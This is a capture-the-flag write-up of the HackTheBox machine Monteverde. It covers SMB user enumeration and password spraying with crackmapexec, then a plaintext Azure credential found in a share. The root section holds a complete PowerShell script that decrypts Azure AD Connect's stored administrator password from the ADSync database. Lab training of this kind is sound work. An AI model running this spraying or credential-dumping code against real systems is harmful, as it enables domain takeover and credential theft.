HackTheBox - Monteverde

8 minute read

Monteverde was an interesting 30 point box created by egre55. It started out with some user enumeration which leads you to password spraying and discovering a weak password policy for a service account, you then dump an SMB share using the service account’s credentials and discover more creds used by Azure which you can use to WinRM in and get user. You then have to modify an exploit which abuses Azure’s Password Hash Synchronization to dump the Administrator credentials, you then use the creds to WinRM in again and get the root flag.

User.txt

Nmap


A quick nmap scan reveals the following ports:

# nmap -sT -p- --min-rate 5000 10.10.10.172

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack
88/tcp    open  kerberos-sec     syn-ack
135/tcp   open  msrpc            syn-ack
139/tcp   open  netbios-ssn      syn-ack
389/tcp   open  ldap             syn-ack
445/tcp   open  microsoft-ds     syn-ack
464/tcp   open  kpasswd5         syn-ack
593/tcp   open  http-rpc-epmap   syn-ack
636/tcp   open  ldapssl          syn-ack
3268/tcp  open  globalcatLDAP    syn-ack
3269/tcp  open  globalcatLDAPssl syn-ack
49667/tcp open  unknown          syn-ack

Focusing on the more important ports we get the following information:

# nmap -sV -sC -T4 10.10.10.172 -p 53,88,135,139,389,445

PORT    STATE SERVICE       VERSION
53/tcp  open  domain?
88/tcp  open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-01-15 19:29:28Z)
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open  microsoft-ds?
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 9m22s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-01-15T19:31:48
|_  start_date: N/A


SMB


Running nullinux with the -users flag presents you with a list of users and their associated group memberships:

# nullinux -users 10.10.10.172

[*] Enumerating Domain Information for: 10.10.10.172
[+] Domain Name: MEGABANK
[+] Domain SID: S-1-5-21-391775091-850290835-3566037492

[*] Enumerating querydispinfo for: 10.10.10.172
    AAD_987d7f2f57d2
    dgalanos
    Guest
    mhope
    roleary
    SABatchJobs
    smorgan
    svc-ata
    svc-bexec
    svc-netapp

[*] Enumerating enumdomusers for: 10.10.10.172
    Guest
    AAD_987d7f2f57d2
    mhope
    SABatchJobs
    svc-ata
    svc-bexec
    svc-netapp
    dgalanos
    roleary
    smorgan

[*] Enumerating LSA for: 10.10.10.172

[*] Performing RID Cycling for: 10.10.10.172

[*] Testing 10.10.10.172 for Known Users

[*] Enumerating Group Memberships for: 10.10.10.172
[+] Group: Enterprise Read-only Domain Controllers
[+] Group: Domain Users
    Administrator
    krbtgt
    AAD_987d7f2f57d2
    mhope
    SABatchJobs
    svc-ata
    svc-bexec
    svc-netapp
    dgalanos
    roleary
    smorgan
[+] Group: Domain Guests
    Guest
[+] Group: Domain Computers
[+] Group: Group Policy Creator Owners
    Administrator
[+] Group: Cloneable Domain Controllers
[+] Group: Protected Users
[+] Group: DnsUpdateProxy
[+] Group: Azure Admins
    Administrator
    AAD_987d7f2f57d2
    mhope
[+] Group: File Server Admins
[+] Group: Call Recording Admins
[+] Group: Reception
[+] Group: Operations
    smorgan
[+] Group: Trading
    dgalanos
[+] Group: HelpDesk
    roleary
[+] Group: Developers

Azure Admins is interesting. I tend to copy all the users from SMB enumeration into a file as they usually come in handy later when probing for access to services.


Crackmapexec


Kerberos and LDAP enumeration turned up little, I decided to test for basic credential combinations with the username list gathered with nullinux alongside some basic passwords and copies of the usernames:

# cat users.txt
Administrator
krbtgt
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan

# cat pass.txt
password
password1
pass123
123456
Password
Password1
Administrator
krbtgt
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan

# crackmapexec smb 10.10.10.172 -u users.txt -p pass.txt

CME          10.10.10.172:445 MONTEVERDE      [+] MEGABANK\SABatchJobs:SABatchJobs

The SABatchJobs account is allowed access to SMB with SABatchJobs as the password.


SMB


I attempted logging in via WinRM but didn’t succeed, however the creds do allow you to list the following shares from SMB. Recursively listing out the users$ share you’ll notice an azure.xml file:

# smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs -R 'users$'
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.172...
[+] IP: 10.10.10.172:445        Name: 10.10.10.172                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        .                                                  
        dr--r--r--                0 Fri Jan  3 08:12:48 2020    .
        dr--r--r--                0 Fri Jan  3 08:12:48 2020    ..
        dr--r--r--                0 Fri Jan  3 08:15:23 2020    dgalanos
        dr--r--r--                0 Fri Jan  3 08:41:18 2020    mhope
        dr--r--r--                0 Fri Jan  3 08:14:56 2020    roleary
        dr--r--r--                0 Fri Jan  3 08:14:28 2020    smorgan
        users$                                                  READ ONLY
        .\
        dr--r--r--                0 Fri Jan  3 08:12:48 2020    .
        dr--r--r--                0 Fri Jan  3 08:12:48 2020    ..
        dr--r--r--                0 Fri Jan  3 08:15:23 2020    dgalanos
        dr--r--r--                0 Fri Jan  3 08:41:18 2020    mhope
        dr--r--r--                0 Fri Jan  3 08:14:56 2020    roleary
        dr--r--r--                0 Fri Jan  3 08:14:28 2020    smorgan
        .\mhope\
        dr--r--r--                0 Fri Jan  3 08:41:18 2020    .
        dr--r--r--                0 Fri Jan  3 08:41:18 2020    ..
        -w--w--w--             1212 Fri Jan  3 09:59:24 2020    azure.xml

I downloaded it and checked out the file contents:

# smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs --download 'users$\mhope\azure.xml'
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.172...
[+] Starting download: users$\mhope\azure.xml (1212 bytes)
[+] File output to: /root/10.10.10.172-users_mhope_azure.xml

# cat /root/10.10.10.172-users_mhope_azure.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>

A Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential object is often used when creating a new AzureAD Service Prinicipal (New-AzAdServicePrincipal or New-AzureRmADServicePrincipal depending on whether you’re using ARM or ASM).

These objects must have a valid StartDate and EndDate, and take a plaintext Password. Below is an example from the Microsoft documentation:

Import-Module Az.Resources # Imports the PSADPasswordCredential object
$credentials = New-Object Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential -Property @{ StartDate=Get-Date; EndDate=Get-Date -Year 2024; Password=password} 
$sp = New-AzAdServicePrincipal -DisplayName ServicePrincipalName -PasswordCredential $credentials

Information on Azure AD password policies can be found here.


Flag


With the creds you can simply WinRM in and type the user flag:

# evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$

*Evil-WinRM* PS C:\Users\mhope\Documents> whoami
megabank\mhope

*Evil-WinRM* PS C:\Users\mhope\desktop> type user.txt
496197...



Root.txt

Azure Admins


Running whoami /groups informs us that we’re in the Azure Admins group:

*Evil-WinRM* PS C:\users\AAD_987d7f2f57d2> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                          Attributes                                        
=========================================== ================ ============================================ ================================================== 
Everyone                                    Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group 
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group 
BUILTIN\Users                               Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group 
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group 
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group 
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group 
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group 
MEGABANK\Azure Admins                       Group            S-1-5-21-391775091-850290835-3566037492-2601 Mandatory group, Enabled by default, Enabled group 
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                  Mandatory group, Enabled by default, Enabled group 
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448   


Azure Admins Exloits


Googling for Azure Admins exploit will lead you to some interesting pages. The first result I saw was adconnectdump by the guys at fox-it. They’ve publish some quality tools, however the main thing that stood out was the Tool Comparison section on the Github page:


It links to Adam Chester’s blog post on AzureAD Connect for red teamers.


Azure AD Connect


Azure AD Connect allows you to intergrate Azure AD (cloud) with your local on-premise Windows Active Directory services, very useful for synchronisation. Azure AD and Active Directory have 3 primary methods of intergration:

  1. Password Hash Synchronization (PHS)
  2. Pass Through Authentication (PTA)
  3. Active Directory Federated Services (ADFS)

Password Hash Synchonization sounds juicy doesn’t it? The following image from Microsoft demonstrates the process:

Password hash synchronization is one of the sign-in methods used to accomplish hybrid identity. Azure AD Connect synchronizes a hash, of the hash, of a users password from an on-premises Active Directory instance to a cloud-based Azure AD instance.

Password hash synchronization is an extension to the directory synchronization feature implemented by Azure AD Connect sync. You can use this feature to sign in to Azure AD services like Office 365. You sign in to the service by using the same password you use to sign in to your on-premises Active Directory instance.

For more information on PHS click here.


Password Hash Sycnronization


Read Adam Chester’s blog for a detailed explanation of the exploit, I’ve copied the main points below.

PHS utilises the Microsoft.Online.PasswordSynchronization.dll DLL which contains references to a number of Directory Replication Services (DRS) API’s (allowing replication of objects between domain controllers).

When deploying the connector a new database is created on the host called ADSync (shown below on Monteverde):

*Evil-WinRM* PS C:\programdata> Invoke-sqlcmd -Query "select name from sys.databases"

name  
----  
master
tempdb
model
msdb  
ADSync

The mms_management_agent table in the ADSync db contains a private_configuration_xml field which holds data regarding a specific user (Administrator in this case).

The encrypted password is stored within the encrypted_configuration field. C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll is referenced in the handling of this data within the connector service.

The PoC retrieves the keying material from the local ADSync database and passes it to the mcrypt.dll for decryption, it then writes the decrypted credentials to the terminal.


PoC


The hardest part about getting this script working was finding the write SqlConnection string for the -ArgumentList parameter. The original PoC contained the following:

"Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"

This fails on Monteverde, after some trial and error the following string succeeded (using the output from Invoke-sqlcmd -Query "SELECT SERVERPROPERTY('ServerName')" for the Data Source param):

"Data Source=MONTEVERDE;Initial Catalog=ADSync;Integrated Security=True;ApplicationIntent=ReadOnly"

The complete exploit is shown below:

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=MONTEVERDE;Initial Catalog=ADSync;Integrated Security=True;ApplicationIntent=ReadOnly" 
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

Running the script and getting the creds:

*Evil-WinRM* PS C:\Users\mhope\Documents> .\azure.ps1
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!


Flag


With the Administrator credentials you can simply WinRM in and type the root flag:

# evil-winrm -i 10.10.10.172 -u administrator -p d0m@in4dminyeah!

*Evil-WinRM* PS C:\Users\Administrator\desktop> whoami
megabank\administrator
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
129096...